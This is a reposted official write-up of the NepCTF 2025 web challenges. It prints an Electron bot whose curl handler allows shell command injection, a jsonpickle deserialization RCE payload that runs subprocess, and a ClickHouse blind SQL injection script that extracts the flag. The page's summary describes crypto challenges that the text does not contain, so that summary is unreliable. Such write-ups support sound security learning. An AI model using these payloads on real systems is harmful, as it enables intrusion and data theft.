NepCTF2025官方WP来了!

admin 2026-05-02 05:32:08 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文为NepCTF2025密码学题解。ezRSA2利用CRT合并部分私钥,通过二元Coppersmith或三维格恢复密钥;LatticeBros用LLL还原极小多项式并结合Babai求解HNP;Nepsign利用哈希链可追赶性质迭代伪造签名。文含详尽推导与代码,极具实战参考价值。 综合评分: 91 文章分类: CTF,实战经验


Real_World_Dify

为避免恶意传播,不提供EXP。只提供本人的漏洞报告。

Pandas注入LCE

https://huntr.com/bounties/a49baae1-4652-4d6c-a179-313c21c41a8d

Vanna供应链LCE

https://huntr.com/bounties/ea4bc85e-9639-42be-8db9-c0738025cb32

Dify+vanna 供应链RCE CVE-2025-0185

https://huntr.com/bounties/7d9eb9b2-7b86-45ed-89bd-276c1350db7e

T.A.S P.W.N

See you next year 1500pt

WEB

GooGooVVVY

是的孩子们,我复仇忘记带新waf了,当时Rev有两过滤器都更新了,但是第一个过滤器完全没更换,那看来只能明年复仇了

注意要先上传再基于获得的云URL来写payload,因为设置之前会先检测内容是否存在 尝试外带bot的访问,可以发现没有东西 源码注释说bot会使用客户端访问,下载客户端,看看有无注入jsbridge 列出window下的属性,可以发现客户端注入了electronAPI

访问/api/bot 服务器成功接收到请求

访问/api/user即可

iframe内部也可以上传html文件xss,但是electron的子页面不会和主页面共享api,所以只能走标签的xss 关于electronAPI的发现,通过对客户端内简单测试即可得到,当然最初本意是让大家逆一下客户端(解包看源码)的,看了源码就可以发现curl还可以命令拼接直接RCE。怎么做都可以

附上bot源码

const { app, BrowserWindow, ipcMain } = require('electron');
const path = require('path');
const { exec } = require('child_process');
let win = null;
app.commandLine.appendSwitch('no-sandbox');
app.commandLine.appendSwitch('disable-gpu');
app.commandLine.appendSwitch('headless');
app.commandLine.appendSwitch('disable-software-rasterizer');
app.commandLine.appendSwitch('ignore-certificate-errors');
app.commandLine.appendSwitch('allow-insecure-localhost');
function createBotWindow() {
  win = new BrowserWindow({
    width: 1600,
    height: 1200,
    webPreferences: {
      preload: path.join(__dirname, 'preload.js'),
      sandbox: false,
      offscreen: true
    }
  });

const targetURL = 'https://nepctf32-ytbf-po7r-hdk7-2cscouczs393.nepctf.com/';
  win.loadURL(targetURL);

  win.webContents.on('ready-to-show', () => {
    console.log(`visit success:${targetURL}`);
    console.log(`stay for 3 seconds and then exit ...`);

    setTimeout(() => {
      console.log('exit!');
      app.quit();
    }, 3000);
  });

  win.webContents.on('did-fail-load', (event, errorCode, errorDesc) => {
    console.error(`visit fail:${errorCode} - ${errorDesc}`);
    app.quit();
  });
}

app.whenReady().then(createBotWindow);

ipcMain.handle('load-remote-url', async (event, url) => {

if (mainWindow) {
    mainWindow.loadURL(url);
  }
});

ipcMain.handle('curl', async (event, url) => {
returnnewPromise((resolve) => {

    const cmd = `curl -L "${url}"`;

    exec(cmd, (error, stdout, stderr) => {
      if (error) {
        return resolve({ success: false, error: error.message });
      }
      resolve({ success: true, data: stdout });
    });
  });
});
const { contextBridge, ipcRenderer } = require('electron');

contextBridge.exposeInMainWorld('electronAPI', {
loadRemoteURL: (url) => ipcRenderer.invoke('load-remote-url', url),
curl : (url) => ipcRenderer.invoke('curl', url)
});

JavaSeri

出题人是傻逼,忘了删shiro的CB依赖。然后又发现忘了删自己测试的exp,本来是想让大家自己写链子的

safe_bank

该题源于研究强网杯决赛的ezlogin时发现的一个有趣的小trick,当然因为考虑不周,还是出现了一些非预期,红豆泥私密马赛。

说回题目,jsonpickle采用Unpickler._restore对序列化对象进行恢复。而每种标签又对应着不同的_restore函数。例如py/object ,会调用_restore_object进行处理。

而问题出在jsonpickle自定义的loadclass函数中。在208行对模块进行逆向翻译时,依次调用了util.untranslate_module_name->util._0_9_6_compat_untranslate

util._0_9_6_compat_untranslate中,将builtinexceptions转化为builtins。这恐怕是开发者为了兼容Python2,因为在Python2中,使用__builtin__代表内置模块,而非builtins,而exceptions是作为Python2中存放异常类的模块,Python3则将异常类全部放入了builins模块中。

由此,可以通过builtin或者exceptions来绕过builtins的限制。

黑名单中我没有限制eval或者exec,所以可以构造exceptions.eval或者exceptions.exec等相关语句来进行RCE,后面常见的字符串绕过就多种多样了。这里给出一个Payload:

{"py/object": "__main__.Session", "meta": {"user": {"py/object":"exceptions.eval","py/newargsex":[{"py/set":["exec(\"imp\"+\"ort subpro\"+\"cess;subpro\"+\"cessgeto\"+\"utput('/r\"+\"eadflag>/app/static/flag')\")"]},""]} , "ts": 114514}}

当然,本题也有一些非预期解法,例如调用main.FORBIDDEN.pop或者main.FORBIDDEN.clear直接将黑名单清除,也有师傅找到了其他的命令执行或者代码执行的函数进行绕过,如distutils.spawn.spawnprofile.run

我难道不是sql注入天才吗

题目是参加《阿里云入侵检测挑战赛-clickhouse赛道》时想到的payload(mysql绕不动了,绕过了也是内部已知),clickhouse数据库高版本支持一些特殊的sql语句写法如下:

绕过select from

select from语句可以写为

FROM table select *

官方文档如下 《FROM 子句》:

https://clickhouse.com/docs/sql-reference/statements/select/from

绕过括号限制

一般认为没有括号就无法进行子查询,所以这里的思路只能是利用union、intersect、except中的一个进行查询拼接(mysql 8高版本也支持)

详细查看官方文档《SELECT Query》:

https://clickhouse.com/docs/sql-reference/statements/select

阶段总结

利用上面的payload就可以写出如下的payload来进行查询(intersect用法以及clickhouse的数据信息库不一一阐述了,自行查询)

select * from users where id=1
intersect
from system.databases select 1,'User_1','[email protected]',44 where name>'abc'

当数据库名大于字符串abc,就会返回User_1的信息,不大于就会报错,利用这一点可以注入出库名了,那么表名,列名呢?

我们注入表名列名需要使用如下语句

select * from users where id=1
intersect
from system.tables select 1,'User_1','[email protected]',44 where database='nepnep' and name > 'abc'

因为没有and所以得想办法绕过

绕过or和and

clickhouse无法像mysql那样随意使用+-*/^|进行数字或者运算

比如

select * fromtablewhereid=1='abc'#会报错
select * fromtablewhereid=1^name='abc'#会报错
select * fromtablewhereid=1andname='abc'#正确

我找到一种方法(不排除有其他方法

利用文档里的操作符:https://clickhouse.com/docs/sql-reference/operators

a ? b : c

最终payload如下

1 intersect from system.tables select 1,'User_1','[email protected]',44 where database='nepnep'?name>'abc':0

exp

exp因为字符比较问题有一些小bug,不想修摆烂了,最后一位会差1个字符,比如nepnep变成nepneo,手动修改下,

import requests
url='https://nepctf31-babr-hwkw-gp5p-922mchfng311.nepctf.com/'
flag=''
for i in range(1,50):
    left=1
    right=129

    while right-left!=1:
        mid=(left+right)//2
        data={
        #'id':"1 intersect from system.databases select 1,'User_1','[email protected]',44 where name>'{mid}' limit 1,1".format(mid=flag+chr(mid))
        #nepnep
        #'id':"1 intersect from system.tables select 1,'User_1','[email protected]',44 where database='nepnep'?name>'{mid}':0".format(mid=flag+chr(mid))
        #nepnep
        #'id':"1 intersect from system.columns select 1,'User_1','[email protected]',44 where table='nepnep'?name>'{mid}':0 limit 2,1".format(mid=flag+chr(mid))
        #51@g_ls_h3r3
        'id':"1 intersect from nepnep.nepnep select 1,'User_1','[email protected]',44 where `51@g_ls_h3r3`>'{mid}'".format(mid=flag+chr(mid))
        #NepCTF{9dd5d582-d102-1e6b-75ff-154291064870}
        }
        r=requests.post(url=url,data=data)
        if'未找到ID'notin r.text:
            left=mid
        else:
            right=mid
    flag+=chr(left)
    print(flag.encode())

免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:Nepnep 小编们和 小编们和《NepCTF 2025 官方WP来了!》

评论:0   参与:  0